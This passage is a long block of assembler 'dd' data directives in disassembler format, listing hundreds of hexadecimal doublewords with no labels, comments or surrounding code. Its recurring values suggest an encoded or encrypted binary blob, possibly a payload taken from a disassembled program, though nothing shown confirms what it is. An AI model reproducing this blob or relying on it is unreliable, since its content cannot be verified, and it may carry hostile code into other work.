		dd 443212E6h, 23B71A66h, 0E8321566h, 0E9CE53A1h, 13561506h
		dd 4C45A4D9h, 0D0E5E237h
		dd 67B31681h, 4FCA4271h, 573AD2E7h, 6F1BEE0Ah, 49C74A9Ah
		dd 4CDB10A6h, 33321566h, 552DEB97h, 0DFBC6FFBh,	34C94D9h
		dd 0B8FD9458h, 9005AB6Eh, 0B75D6A91h, 0CFCA146Dh, 0E6B1315Ah
		dd 1137FC62h, 3FB61566h, 47AE5056h, 25261CE3h, 113EFC60h
		dd 815F1566h, 72B58D5Eh, 0C1EF01BCh, 0F852DDAFh, 88321576h
		dd 0DB81E5A4h, 0A9B06856h, 4CE3AF87h, 12F659ABh, 0CF53C3EDh
		dd 253E38EBh, 113CFC60h, 0ADFD1566h, 0E91C6A23h, 0E61E5435h
		dd 9FEDA1Ch, 8832AF34h,	86B31566h, 60041F56h, 0FBB3D767h
		dd 0CA041F56h, 0AD681FEFh, 2232156Bh, 0E6DFB74Dh, 0C050416Eh
		dd 6113AC96h, 4452B881h, 903DC6EDh, 88321565h, 2583F4E6h
		dd 2232AA31h, 90651566h, 82633152h, 2BD199Fh, 0DE44949Ah
		dd 1DCB1F37h, 3547539h,	838D1A98h, 97879C07h, 0E9341247h
		dd 87CDEDE5h, 443284E3h, 0A3547566h, 0E92AF3B7h, 550C9407h
		dd 4BEFC8BBh, 223268E3h, 113AFC66h, 0E1871566h,	0B784541Bh
		dd 75635984h, 78308A0Eh, 67B34A45h, 70906C0Ch, 0A33AFAA7h
		dd 802E46A1h, 0FDD944Fh, 0CDFDDFC5h, 0CBB34A9Fh, 52147AC7h
		dd 7F7BCC91h, 0F0DB94B7h, 0AB259BA9h, 0A0524C68h, 718D1ABFh
		dd 40DE9607h, 991609EFh, 11321562h, 8769CB67h, 443206ECh
		dd 2FB21A66h, 0F8321566h, 8832156Eh, 5BE5FBC5h,	99A72581h
		dd 3087A0EFh, 0E9521361h, 0BBE35D8Fh, 0E2F3E999h, 7152EC65h
		dd 88329769h, 1F621566h, 0F5B97307h, 18B71607h,	61341272h
		dd 4432156Ah, 0C0FA2EFBh, 0A6ABFF25h, 65FD1449h, 57A3A8E5h
		dd 2D331361h, 113655E2h, 0B6B3EC66h, 0EE98BFCCh, 22969069h
		dd 18DB1566h, 49321566h, 2731ADAEh, 36C10507h, 1136A833h
		dd 66B31566h, 63B43CEBh, 0E4B3FB67h, 36B43CEBh,	50B3753Bh
		dd 2212F470h, 22349169h, 993D1566h, 88321566h, 308B4407h
		dd 0E3317736h, 0C0C5138Fh, 170D4E7h, 0ABB156Bh,	0DE524C9Ah
		dd 2053CBEDh, 0B9F5249Eh, 4422FC9Eh, 8E9B1566h,	2E8C4359h
		dd 19C5F96Eh, 98B1F1E9h, 97637DACh, 0BA8447A4h,	0A068E5EEh
		dd 50DB4C8Eh, 52321566h, 0F4357EC2h, 8BA88121h,	0A91183E3h
		dd 110E3568h, 0F85FF0B3h, 88321520h, 43BD1A93h,	42321566h
		dd 0A63D4D35h, 64B174B6h, 60369C62h, 0CB6D4D31h, 11321561h
		dd 45FC1F86h, 0B103D459h, 7152A635h, 0D2CCBBD5h, 63B2CE90h
		dd 0D7C1953Dh, 0AA11D6E6h, 0C9024EBEh, 3152ED3Dh, 2E1EDD79h
		dd 0AB67749Fh, 15F79483h, 9321566h, 4432118Bh, 61E9266h
		dd 35369C3Ah, 88321F8Fh, 8032A766h, 0A7130C68h,	92D5477Ah
		dd 8F14F4DBh, 0C03D1460h, 223214CEh, 1132108Fh,	7A0C3566h
		dd 2C65FC45h, 48A1138Bh, 618F4039h, 951B326h, 3F7798ABh
		dd 67E7E211h, 97CBF8E7h, 673B60E1h, 0ABC5943Bh,	0AB48EE50h
		dd 3DB4A9Eh, 28321566h,	3B4CBA51h, 26BE8107h, 2475B977h
		dd 2AD0F485h, 0A58F96D8h, 22341B1Ch, 116F9169h,	5CE1566h
		dd 49F32AFBh, 0D807560h, 1132048Eh, 0B8C47266h,	7B71D8ECh
		dd 0E899CF41h, 0F4F95A8Bh, 85DB91A5h, 0EB321566h, 7BA5620Fh
		dd 7FAC9EA7h, 1AB1A7D0h, 97CD743Ch, 2ADB7593h, 0E1321566h
		dd 0E4BC761Ch, 0AD749055h, 22321574h, 26505E3h,	974C5ABCh
		dd 8CC4DAA2h, 0E9295CB1h, 91533D07h, 0C3D8559h,	44321532h
		dd 32DD9406h, 0F82C7B3Eh, 8832156Ah, 9B67F1AFh,	1E3C247Dh
		dd 0F64E2E07h, 3062E007h, 44321563h, 26B9D267h,	15F69442h
		dd 0E8321566h, 0DD01AA00h, 85FD9400h, 3FDB74BFh, 61321564h
		dd 44321572h, 3BE79AEEh, 0CABF6038h, 1E1F0023h,	0D4425E5Dh
		dd 3827B57Dh, 1E62EDE5h, 88329AE4h, 4BCB7566h, 223210E0h
		dd 0E7B37366h, 8753D249h, 443202E5h, 2220FC66h,	9A5C1566h
		dd 9C64800Bh, 54790EAFh, 0B889C5Bh, 2F5F7F5Ah, 849A437h
		dd 0B5B2E197h, 0C1804745h, 0FBB2C790h, 0D2E31DE5h, 0B2FDE4E6h
		dd 20F395BFh, 0E86BDDEEh, 8CB9ECCCh, 0A7BB4642h, 2236D6E7h
		dd 0D2B11566h, 0AC2E9262h, 4BCE753Ah, 8853D4D1h, 0E2B97506h
		dd 0E95AE4E6h, 44321E8Eh, 27046D66h, 0DC2C331Ch, 96800669h
		dd 256B44D4h, 2232DA8Fh, 10BC1A66h, 70321566h, 1C162199h
		dd 2236D1E7h, 993D1566h, 88321570h, 4432048Fh, 3B70A566h
		dd 0FDBEC98Bh, 4F44A7FDh, 901D71BBh, 0AC3D2FA3h, 1132157Ch
		dd 883FFC06h, 0BA3E1566h, 0CD96316Ah, 68B2213Ch, 8758851Fh
		dd 443215EFh, 42987466h, 0F8694506h, 88321569h,	0AC294D3Bh
		dd 0AA149928h, 8F2FD6AAh, 0E998DAAEh, 44349669h, 0AD3D1566h
		dd 11321566h, 8838FC07h, 0A5EB1566h, 0F90C8E1Eh, 0A90BFD7Ah
		dd 61CD6AE6h, 44709069h, 0A33D1566h, 11321567h,	698F969Fh
		dd 44341B1Ch, 22299169h, 0E4C71566h, 486B88EBh,	0B1CA136Bh
		dd 28DBC699h, 99321566h, 0CB3643A3h, 0BE4089C2h, 60D47D3Ah
		dd 5BB1566h, 8836AF42h,	0BE331566h, 0DE6817EEh,	1D1F90EDh
		dd 9BDB1361h, 0AC321566h, 77AA536Dh, 818A8ACDh,	0CA6966F5h
		dd 8EECA304h, 9C6443C4h, 18B232C6h, 66F3CB91h, 0B2B35B64h
		dd 14EB431Fh, 0D3B2E3E7h, 78337DFFh, 69CA3C38h,	41ED7788h
		dd 1132068Fh, 0EFBED066h, 9654B440h, 0AD4FA241h, 0C9C10116h
		dd 96F79576h, 0CAF99406h, 2D0E5224h, 113213ECh,	88B21A66h
		dd 25321566h, 2236AC37h, 5F371566h, 0A13A5854h,	767C38AEh
		dd 0CB6B1D2Bh, 11321577h, 0A6225335h, 20ABACDEh, 3297CB4Dh
		dd 0B8350A51h, 43DBE96h, 4432157Fh, 2232018Fh, 65164966h
		dd 71DD4C7Bh, 4D5895C9h, 0BB7AC439h, 464AB8A3h,	0DDC7B84Dh
		dd 827566DBh, 67E7E220h, 0D4B3C891h, 9437EE88h,	24DF942Bh
		dd 0AB50D925h, 0F86FE908h, 88321572h, 0F38C8B3Dh, 0F5870C5Ch
		dd 0AC96974Ah, 4AA0261h, 212488AEh, 0DDC8B98Fh,	19BD1A99h
		dd 87321566h, 443217E3h, 0AB537566h, 1613A0D3h,	9CBC1A60h
		dd 0AD321566h, 22321569h, 9F6ABF77h, 9EFDF1FDh,	0B3EFD501h
		dd 4AF7069Eh, 1132228Eh, 741601EFh, 44B2150Eh, 2EB41A66h
		dd 1E321566h, 883213E0h, 44BD1A66h, 48321566h, 0A552E966h
		dd 56B97383h, 0E187EA07h, 2D341246h, 113200E4h,	87B81A66h
		dd 0AD321566h, 2232156Ch, 37CCF381h, 74A203Ch, 0D1CD4423h
		dd 24353EE3h, 112B9069h, 9CDB1566h, 70321566h, 8FA8651h
		dd 99F9614Ch, 8306169Dh, 18E126F4h, 0DD2947EEh,	92683152h
		dd 0DB5211A2h, 44321A8Fh, 81FBF966h, 0FC9C6B9Ah, 46E0C2CDh
		dd 0E43B203h, 27B81A3Dh, 77321566h, 21B4C7E7h, 443BFC07h
		dd 8B2F1566h, 0F46B1628h, 3A259DFh, 4332E8EBh, 223FFC60h
		dd 9B4F1566h, 7468B28Eh, 10C426A1h, 72900366h, 7067E7DEh
		dd 0C03F5D51h, 85061A1Bh, 11F1386h, 0D69F0710h,	0BAC5F667h
		dd 1C3314B7h, 2232068Fh, 50CF2266h, 0C110B950h,	0A383261Eh
		dd 8E1E7C04h, 89316A36h, 8836AF34h, 0ADB31566h,	38114849h
		dd 0D0B3C467h, 92114849h, 443FFC3Ch, 1F911566h,	0DA51D84Ch
		dd 0D761964Fh, 0CD4AA6DDh, 2532E8EBh, 1120FC60h, 9E311566h
		dd 0BFB91915h, 0E074F042h, 0D20DAACBh, 5868900h, 87A8FC93h
		dd 0A23DEA99h, 11321571h, 8832078Fh, 432F1766h,	45B148D1h
		dd 3D18A741h, 208FA281h, 0ADC8F6DEh, 223239E7h,	11339669h
		dd 0E8CE1566h, 443CFC06h, 0E49C1566h, 828EAAD2h, 135C2899h
		dd 9F96B5E2h, 22379469h, 90541566h, 0E96352BFh,	44CF98EDh
		dd 0DDCA1361h, 35069457h
		dd 8C560FA1h, 0DB89463Fh, 0A3136927h, 0F6EB3DA5h, 0D3EB2484h
		dd 4432048Fh, 2FDFE566h, 1CA0A0F4h, 7FA530F7h, 33583BB4h
		dd 0AFBB9E38h, 173C6FBBh, 8832048Fh, 170CF666h,	8802C38Eh
		dd 2F9D6217h, 0F43459E1h, 7CB3E4E6h, 6E764128h,	11929069h
		dd 82DB1566h, 6C321566h, 0A28D548h, 7671A08Bh, 0F0B37301h
		dd 4B1C5962h, 223290E3h, 1EB61A66h, 61321566h, 4432156Ch
		dd 6B274C35h, 5C614C0Fh, 95222A7h, 559BF094h, 2239FC35h
		dd 5F711566h, 465C73D3h, 1D880CCFh, 0A36274E8h,	6159314Ah
		dd 0BCB91401h, 40F69442h, 0A3321566h, 76427EA0h, 0A3D7567h
		dd 44321560h, 22329769h, 79531566h, 88325E88h, 0FC1611EFh
		dd 22321560h, 0ED6AD367h, 0EE7CA706h, 9989FCE7h, 33B79E07h
		dd 1E341264h, 883214EAh, 0ACDBE966h, 2D321562h,	113214EFh
		dd 0DA62E966h, 0D900F2DCh, 6662417h, 906C4F62h,	1500F290h
		dd 0CE3D7517h, 22321564h, 0AA54E7EDh, 0E053C2F9h, 4432537Dh
		dd 0AB1609EFh, 4AE89CA5h, 883C9F69h, 4DDB1566h,	6F321566h
		dd 49D683AAh, 8E379F9Eh, 0E8CEDC57h, 2232138Fh,	63E5DE66h
		dd 0B4462935h, 3DB61A66h, 42321567h, 7009C7E6h,	0C3D385Ah
		dd 0BBCDEAB9h, 223EFD06h, 11671566h, 1FF43627h,	11A7D7F8h
		dd 0F5B200C0h, 16DB4C28h, 3A321566h, 2970E901h,	1E53E8C0h
		dd 0F9B61A48h, 87321566h, 44320DE0h, 2221FC66h,	9CB91566h
		dd 5B3996C7h, 0CE811892h, 623C58A8h, 21137F0Eh,	87022969h
		dd 4436A7E4h, 1B0EEC66h, 0EEB79369h, 99DBEA99h,	0BA321566h
		dd 0B97DA87Ah, 852F04D1h, 0E201EEBEh, 0B809F43Ch, 0A03D545Ah
		dd 113211EDh, 8768299Ah, 0BBCD4BE0h, 7D0EE099h,	0EE679169h
		dd 23DEA99h, 44321571h,	22239369h, 1DDB1566h, 0F6321566h
		dd 1D246C71h, 0F3F78014h, 2D2C56D0h, 0DCB01A07h, 0AD321562h
		dd 2232156Bh, 5A4E6A45h, 0F4EB13C5h, 6D4CC47Bh,	3FBF1A7Eh
		dd 71321566h, 8832048Fh, 7CFCDA66h, 45D6A681h, 0A3271DE8h
		dd 9294A546h, 0C5543AF8h, 432B75A1h, 973D6F5Ah,	77CDEB95h
		dd 44299569h, 91521566h, 1123FDF4h, 4A411566h, 2A87CBEh
		dd 965DE0AFh, 0EB9EFB70h, 0D77B47B0h, 47C3FC07h, 0A5C71566h
		dd 0EEDD949Ch, 0FCDEA99h, 45B61A9Ch, 0DB321566h, 953DE75Fh
		dd 883216B1h, 443E9869h, 0A83D1566h, 11321560h,	88329669h
		dd 17CA1566h, 0DDCDEADDh, 4AE81499h, 7788479Ah,	6DCDEA99h
		dd 0CBCA4FB7h, 0EECDEBE1h, 88359E69h, 0C33D1566h, 22321567h
		dd 10BE1A9Eh, 74321566h, 0C03DDCE3h, 223216E9h,	7887989Eh
		dd 0E834126Ah, 4DD39400h, 0A9607410h, 0D5B1316Ah, 8DDA7562h
		dd 0E3321566h, 603E6954h, 1E6D0CD3h, 883202EDh,	4420FC66h
		dd 0C2041566h, 0F9152868h, 895F6AFCh, 262C40FBh, 0E214C1DCh
		dd 358F7D07h, 9CBB1566h, 16524A42h, 0E7F774DCh,	1ADA4E54h
		dd 94321566h, 0FCEAB73h, 0D43E4545h, 1EDBBC19h,	0C4321566h
		dd 1F06C62Dh, 2F74737Bh, 0C58B881Bh, 0E96BF219h, 0F1631DD6h
		dd 0E3FF95EBh, 0CCC4F0B6h, 6DF2D098h, 4AF79560h, 0E6BFD46h
		dd 0E46D21F1h, 87CF60C8h, 443214E7h, 0A83DED66h, 11321561h
		dd 43B37306h, 0C553D7D0h, 3D1E59A7h, 43CB3C45h,	971E59DCh
		dd 1EE33C45h, 22327D93h, 1D1B1566h, 0AC3E9E42h,	4436D1E7h
		dd 0A3CA1566h, 0C602A089h, 0DAFD3C3Fh, 708B3DCh, 0C0B3573Bh
		dd 73FF16A2h, 0C984FFE7h, 86B36036h, 0ACD47A81h, 1E68C267h
		dd 883210E7h, 0FB3D7566h, 0D503749Eh, 0E603EB57h, 8796E69Fh
		dd 443234E8h, 36DB7566h, 3F321566h, 0C08BCCDBh,	0AAC91017h
		dd 0A5B9ED59h, 76FC11D5h, 878A7BAEh, 443215E4h,	97637466h
		dd 0EE884766h, 89CDEA99h, 1E189D9Ch, 0B7BFED3Fh, 1735190Fh
		dd 9DD1AE06h, 4B534FDBh, 22321FE7h, 1137FC66h, 10D21566h
		dd 0CFFB31B9h, 25186CE3h, 0D1B7EC60h, 88659069h, 82CB1566h
		dd 251E10E3h, 993D5260h, 88321567h, 0E3E07D9Ah,	36DBC1FCh
		dd 0E9321566h, 3870443Dh, 0C5D180CEh, 508B4623h, 576F3553h
		dd 77D9616Ch, 4303B8D3h, 27DA7560h, 0B0321566h,	952527DEh
		dd 6171D0DDh, 0AC3D4F73h, 11321564h, 5537406h, 4E490AE3h
		dd 0F2CDE060h, 0F6BB429Eh, 8836D2E7h, 0ABB11566h, 60E9262h
		dd 35269C3Ah, 8832068Fh, 0DF992466h, 0AF832C05h, 0D30A16B9h
		dd 0CE6C2D79h, 0C4A3FBD3h, 223CFC06h, 0EA501566h, 8E433E1Bh
		dd 4824C769h, 3F79531Ah, 1EE2EA07h, 883214EFh, 84B7EC66h
		dd 22C79069h, 0A5521566h, 35A1AA39h, 0CF5322C5h, 2522E4E3h
		dd 1135FC60h, 47101566h, 0A33C3F62h, 2DF290DFh,	113266E3h
		dd 8834FC66h, 98B21566h, 0DB169AB7h, 42ECA706h,	0E96ADDEDh
		dd 683790A0h, 2D7E1361h, 113214EEh, 615AE966h, 4BEBCF7Ah
		dd 223213E1h, 0EAB97566h, 77534D34h, 4303B8D3h,	98527560h
		dd 3A22CB44h, 0E9E89E00h, 25E89E00h, 592D90EBh,	1E52136Ch
		dd 883217ECh, 4B6C4466h, 223218EEh, 1135FD66h, 6B8B1566h
		dd 0CEB70AA3h, 0DD534C66h, 10B21AB6h, 70321566h, 4440F60Eh
		dd 6269C66h, 1132108Fh,	47B8AF66h, 0BBCB43BAh, 0F4B975B6h
		dd 11321C8Eh, 0A5188866h, 0FF3A1103h, 0F0B3291Ch, 26DA9E33h
		dd 48B77438h, 441B9069h, 0A43D1566h, 1132156Ah,	88349969h
		dd 0CA3D1566h, 22321566h, 11328F8Fh, 883FFC66h,	6F0E1566h
		dd 873E20D0h, 874D2870h, 1DB2A03h, 4A48C8E3h, 9D3D7560h
		dd 706B4795h, 9D19C35h,	443211A5h, 26D99466h, 96321566h
		dd 16E317Ah, 0C13D3162h, 22321567h, 32B17D9Ah, 0BCBB1566h
		dd 0CF547542h, 0AD8843ADh, 48061FD1h, 0DBFE907h, 42388042h
		dd 0DD53EC06h, 0D139E0B6h, 88169069h, 0CB3D1566h, 2232156Ch
		dd 57FA9406h, 0E8410861h, 64DB7407h, 2D321566h,	11321DEFh
		dd 46B37566h, 2F7C61A5h, 66BBEC07h, 19DB0942h, 5B321566h
		dd 0B61D072Ah, 4367852Ch, 1DBD69Fh, 0D0321566h,	80A226CFh
		dd 5A4BC4F8h, 29B02D25h, 0E8DFB74Dh, 443F9E69h,	2D521566h
		dd 113215E3h, 61B37366h, 0CF53EAF3h, 2C48C8EBh,	0AB547560h
		dd 0DA53D148h, 86B3F7EFh, 22321562h, 1136FFE7h,	9CB51566h
		dd 40BB4942h, 29B71A42h, 0F8321566h, 88321560h,	0CEA7DCC0h
		dd 0A96375D6h, 0D5B13162h, 8834FC62h, 0B761566h, 1CB435DEh
		dd 110EAC37h, 49331566h, 4432AF34h, 0E8331566h,	48681765h
		dd 82EA93h, 0C5321566h,	734B3162h, 5B970B9h, 8CF69442h
		dd 0C5321566h, 0FD636C8Ch, 903DE903h, 88321561h, 44339569h
		dd 0ABCA1566h, 163158F3h, 883FFC60h, 0ECA1566h,	1BE04D88h
		dd 8C8476C4h, 0DDA8FA02h, 4432EDDBh, 0A9DA1466h, 0D5B3314Ah
		dd 88321562h, 4842EA9Fh, 3D1621E7h, 9A68262Fh, 4CB13172h
		dd 5BC09462h, 0DB68262Fh, 90547506h, 0EE50D6ADh, 6692F4E7h
		dd 0B7BB7407h, 173500ABh, 0AC369E93h, 0C5D59C31h, 223211A1h
		dd 15F59466h, 0F321566h, 0BC6E315Ah, 22339A69h,	0EECB1566h
		dd 3163112h, 80B13162h,	2223FC62h, 0D2681566h, 7160F375h
		dd 1A6D8512h, 2E30C705h, 1E00466Eh, 883206ECh, 49B71A66h
		dd 0CB321566h, 1132156Eh, 803FA658h, 9A08FF4Ch,	3A0CAB30h
		dd 0E11B4D12h, 8DFA3C38h, 1C460D58h, 8C8D7306h,	0C9B973E6h
		dd 0D9527507h, 2553753Dh, 0EFB72E07h, 1E341273h, 88325EE4h
		dd 0C109E066h, 2435162Bh, 110C9669h, 9CDB1566h,	54321566h
		dd 0E9EBDC7h, 0D4096DE7h
		dd 5B3BA381h, 0DDECA214h, 43298765h, 11B41A06h,	31321566h
		dd 6BFCAEEh, 2236D707h,	11321A8Fh, 7D09DD66h, 0AD66904Fh
		dd 6400142Eh, 590DEB77h, 31547507h, 43DB40E2h, 0EE321566h
		dd 5B2A324Bh, 615320E8h, 4432156Ch, 69153333h, 4A04034Ah
		dd 8CF542C1h, 0FB6B3742h, 62EE236h, 2C1621E7h, 9605742h
		dd 3BB83142h, 0EE35058h, 3536EA42h, 8970AE35h, 180337E7h
		dd 0DA691142h, 1132018Fh, 0EE20F866h, 0E34A086Bh, 0BBBC330Ch
		dd 4DA0BFF5h, 7A8AF4FFh, 6076D28Bh, 0D1471862h,	3556940Ch
		dd 627B462h, 458C431Dh,	13589773h, 4F3A3112h, 88377D9Ah
		dd 40B91566h, 26F69442h, 0F8321566h, 88321563h,	0AE2E68D4h
		dd 3EBF98FAh, 0F8341228h, 88321568h, 0D49BF298h, 2D65395Ch
		dd 0D50ED6FBh, 69CD3CECh, 938A7306h, 0FBB3737Eh, 7153D3EDh
		dd 88379869h, 14521566h, 7353ED3Fh, 113215DFh, 0D7F39466h
		dd 456F4174h, 7DDB9497h, 9B6F4174h, 0B4CA4C67h,	3CB61A8Fh
		dd 0DB321567h, 953DFD5Ah, 883214A0h, 13C89F06h,	0E5EBAF00h
		dd 1E0E743Fh, 88939169h, 0C43D1566h, 22321574h,	1132188Fh
		dd 0B26D566h, 5D0B2E6Ah, 0F644D44Ch, 0DC0EA8B4h, 8A109169h
		dd 42DB1566h, 9321566h,	8FC3A4D3h, 87D92912h, 44306FE2h
		dd 0A23D7566h, 11321563h, 3ABB2DCh, 168A7360h, 0A93D74D5h
		dd 1132156Ah, 88B81A06h, 22321566h, 43FB7BD8h, 0C2B97507h
		dd 88349869h, 96B31566h, 2BE3234Eh, 7752D607h, 0C49BE3E7h
		dd 44321D8Eh, 0E3491966h, 0CD273F33h, 8838FCB2h, 0FCCE1566h
		dd 0BF026AA1h, 4816FA28h, 98DB7439h, 0FE321566h, 0BA75B05h
		dd 0B2B5C83h, 0CADF1A41h, 15AF4ED2h, 223214DFh,	9BC31466h
		dd 0AC3E9E7Fh, 0BD36D1E5h, 0D2874400h, 9A54FE46h, 4CB3316Ah
		dd 44321564h, 0A2C9959Fh, 0EEB89069h, 0E3DEA99h, 44321567h
		dd 232C7D9Ah, 5BB1566h,	1C09C42h, 4ADB4FB5h, 7321566h
		dd 0E0618839h, 0F470F00Eh, 0ADC42BDAh, 26DE946Ch, 98321566h
		dd 8E883172h, 45321566h, 0DBCB4FB5h, 1162FA0Eh,	0AC369C66h
		dd 443217DEh, 21C21466h, 1DDB4D7Eh, 29321566h, 945E70A3h
		dd 0F4C6D388h, 71C9BB02h, 81DBD7EDh, 6321566h, 0FCB83603h
		dd 6F2AAE10h, 88D0FC07h, 0C13D1566h, 22321571h,	11239069h
		dd 84DB1566h, 98321566h, 9E349948h, 180CCC8Eh, 7795ED8Dh
		dd 58B91410h, 26F69442h, 71321566h, 88379C69h, 0F28B1566h
		dd 446E8FA3h, 820BD5E7h, 73C99607h, 45749169h, 0CB521566h
		dd 11321574h, 0FD4C90BDh, 0BB3ABDCBh, 135A583Eh, 0AE46ABBBh
		dd 83DB1E1Ah, 9B321566h, 6345154h, 0DEAB47A0h, 87538093h
		dd 443214EAh, 0A964EC66h, 0D5B1317Ah, 67B27562h, 4437FC22h
		dd 31651566h, 704C5ABCh, 8833AF34h, 0B6331566h,	2232AC37h
		dd 0C0331566h, 0D26B0C65h, 2C674593h, 52E679CCh, 90E7E23Bh
		dd 2476628Bh, 63F7946Dh, 0AB4E95D7h, 0D233488Eh, 9CDB753Eh
		dd 0D1321566h, 48FF2EA6h, 0F2ED3872h, 977AA35h,	10191F31h
		dd 2D87EB01h, 113210E1h, 4EB37366h, 0B8539B01h,	0DDCC3A8Fh
		dd 4B61A99h, 0E8321566h, 44321E8Eh, 7FB78D66h, 0D0D2BA3Fh
		dd 8C85AD2Ah, 25537538h, 236CA369h, 113DFC06h, 0CABE1566h
		dd 0D8B264BBh, 69E2DAA8h, 0DD9A54D1h, 63B17405h, 0B5B61A48h
		dd 42CDEA9Bh, 1138FD36h, 0FD2D1566h, 7A38A5F2h,	1C199152h
		dd 3DA4C39h, 0D321566h,	8360A996h, 0DB25EBDFh, 0A971ED21h
		dd 8EAAD412h, 1D6D4556h, 2200FC07h, 1DB1566h, 31321566h
		dd 0D0B9E5Ch, 0BAD4BC83h, 6FB7D93h, 8C0E07Ch, 4BCC1418h
		dd 0DDCF8AE3h, 113CFC99h, 0D5721566h, 0D30CAA40h, 0B6997920h
		dd 0B54E1F38h, 77CE3E8Fh, 443AFC99h, 4C431566h,	0ED034C81h
		dd 285A7902h, 0CD321523h, 29DB3152h, 1F321566h,	3D88D8EDh
		dd 0F583604Ch, 24DB3853h, 1B321566h, 46ED7793h,	27B17DEEh
		dd 2EBB1566h, 1126FC42h, 30FE1566h, 3C0E2251h, 0BDA149CAh
		dd 89B9EEB6h, 84F87DC6h, 655A5BB6h, 0AB321508h,	9D3D317Ah
		dd 8832157Fh, 4432018Fh, 0EFF35666h, 0F4737F6Eh, 0AE099677h
		dd 5295A5Bh, 74E6FFC2h,	21647DD3h, 0B4BB1566h, 45BC1A42h
		dd 0DB321566h, 9052D557h, 0B10B1790h, 4B9E7425h, 22320FE5h
		dd 4E627566h, 8832048Fh, 0E651BB66h, 229F93h, 418D6DA3h
		dd 1F99388Eh, 1553854Bh, 0C9BAD0EEh, 901619EDh,	883211A2h
		dd 0C33D7566h, 22321565h, 77EA9E00h, 0D953C2EDh, 89B2C8D3h
		dd 0A2E7E3D2h, 0FCB23D8Bh, 3D9358Ch, 80B3316Ah,	22321562h
		dd 1135FC06h, 49B91566h, 0B96D50A3h, 0ACFD949Fh, 706A7449h
		dd 8742EEE6h, 4434B4E2h, 2CB61A66h, 0F8321566h,	8832156Fh
		dd 5DB400D2h, 6CAD044Fh, 1E3D29FFh, 883317E2h, 0CF547566h
		dd 2DDB74BEh, 15321566h, 0F50B8231h, 0F8FC9E77h, 0EEB662F6h
		dd 0F80E51D9h, 84289169h, 22521566h, 2D9F27D8h,	2D53EBD9h
		dd 91B61A8Dh, 0BC321576h, 0A63DF65Ah, 1132112Ah, 87D0299Ah
		dd 4423C2E2h, 3ABD1A66h, 0F8321566h, 88321575h,	8B7F5CB7h
		dd 61062EBFh, 0E010D172h, 90526C4Fh, 0CF17CE4Bh, 0AB61315Ah
		dd 15F19485h, 0B321566h, 58B511A5h, 2DDB4942h, 83321566h
		dd 0C07ABCAh, 8D24FCECh, 9259CA43h, 9ACB957Dh, 162317Ah
		dd 44361086h, 0E2B11566h, 35369262h, 883CFC3Ah,	0D94E1566h
		dd 9F024AC4h, 97ADCCDDh, 6DF28AA5h, 4432048Fh, 0ECC51666h
		dd 0FD5C816h, 202502BAh, 0E4653254h, 2EB9CA97h,	0F4BB4042h
		dd 8836D0E7h, 81B31566h, 22321562h, 4D1639E1h, 0AC069E93h
		dd 0C5D09C34h, 223211A4h, 15F09666h, 0D41601E1h, 48DBD69Eh
		dd 0C2321566h, 0F78B0AAFh, 0D420468Eh, 83EC227Fh, 2C49B8E3h
		dd 11321360h, 83B11A66h, 24321566h, 0ECD29400h,	278873B1h
		dd 326074EAh, 44321566h, 0F72D7E7h, 0E333051Bh,	0A572FFE7h
		dd 5EB8051Bh, 23B21A3Ch, 0ED321566h, 7E1EA536h,	68FAEBB6h
		dd 16EAE3C1h, 314611CFh, 30524DA5h, 624EEF6Fh, 2232068Eh
		dd 0E2E8CA66h, 32882520h, 0B1CCB29Ah, 1C212E98h, 3670ABE5h
		dd 8832068Eh, 134E1E66h, 0CFC8B8B9h, 8C79D319h,	12D61D41h
		dd 35C1CE55h, 0A2534B3Ch, 943D959Dh, 77CDEBB5h,	443A9C69h
		dd 0A2521566h, 0CEB261B2h, 35677459h, 44321567h, 0DB6FFB4Fh
		dd 4AB90EDh, 9CDB1361h,	0C1321566h, 69B3E46Ch, 383B2990h
		dd 28D68B07h, 0A66C6922h, 2D1B84EFh, 113214E9h,	1DB9EC66h
		dd 42351577h, 26DE949Fh, 98321566h, 0BCB33152h,	3B679342h
		dd 0D1B34E54h, 234D40E0h, 8E8C439Fh, 45321566h,	6069E95h
		dd 1E36D1E5h, 883214EEh, 1560ED66h, 2D13FEDFh, 0F8C39478h
		dd 12C1A47h, 0B6334CACh, 42680F65h, 11309069h, 70B91566h
		dd 7F53D2EDh, 14B01ABEh, 71321566h, 1747AF35h, 256C50FDh
		dd 0A43DCF5Dh, 0EECDEB41h, 882D9769h, 0AC521566h, 22321574h
		dd 21D155h, 5AE086A7h, 3BD2189Dh, 0A7C43775h, 0AB6CD30Dh
		dd 0D3A728DBh, 91D99407h, 0A341715Ch, 455907A5h, 9C93C49h
		dd 1059078Dh, 0F7F19449h, 0F841715Ch, 8832156Dh, 61AEB807h
		dd 15A5A92h, 472D1E39h,	883213D8h, 5FF19466h, 0B547820h
		dd 0AD99495h, 0D6547820h, 83B34306h, 12BB8964h,	12B01A3Ch
		dd 8321566h, 2253FFBFh,	3EB81ACBh, 1E321566h, 883203ECh
		dd 4423FC66h, 73DF1566h, 0C733119Ah, 0B389B2C9h, 0BEC65FD8h
		dd 44311B28h, 1EC775CDh
		dd 883219EEh, 4434FD66h, 80591566h, 0DF0F0ACBh,	5003743Eh
		dd 9C03D657h, 0A6D09506h, 113AFC07h, 0FDA51566h, 3A9BB8FAh
		dd 2D9951D7h, 11321CEBh, 72B97566h, 0AF898DDFh,	75CB7471h
		dd 4E6A61D9h, 35D59440h, 0B35C274Ch, 0C5F35AB1h, 0FEB35264h
		dd 0EF85CA43h, 4B6DEB67h, 223207E2h, 113FFC66h,	98281566h
		dd 3268B4B4h, 0A9D967B9h, 0F8D9014Eh, 8832156Eh, 50C10507h
		dd 0CBB7C992h, 0F81629EFh, 88321569h, 2F404AF2h, 80DE7023h
		dd 0E515DCBEh, 14D5A27h, 4B3E3112h, 22320FE1h, 5BA1A66h
		dd 61321566h, 44321569h, 0A2DE7E4h, 52F676DEh, 0EFCBE282h
		dd 0CD2BD0EBh, 251968D3h, 7B01A60h, 87321566h, 443205EEh
		dd 2239FC66h, 0D8601566h, 55FF41FFh, 4AD46204h,	606EA0Dh
		dd 15F69439h, 0E8321566h, 44309F69h, 43521566h,	0EE534C36h
		dd 0B693152h, 0C43D11A2h, 2232156Eh, 11309769h,	0E9521566h
		dd 1D162199h, 2236D1E7h, 1FDB1566h, 9F321566h, 0D1B1FE6Ch
		dd 9B5A106Ah, 7D67AE8Fh, 0AC069E86h, 0C5D09C34h, 223211A4h
		dd 15F09466h, 0F321566h, 246E3172h, 2232018Fh, 172C4466h
		dd 87A74988h, 8953C38Dh, 9742C34Eh, 9A0E4D8Eh, 89B21A2Dh
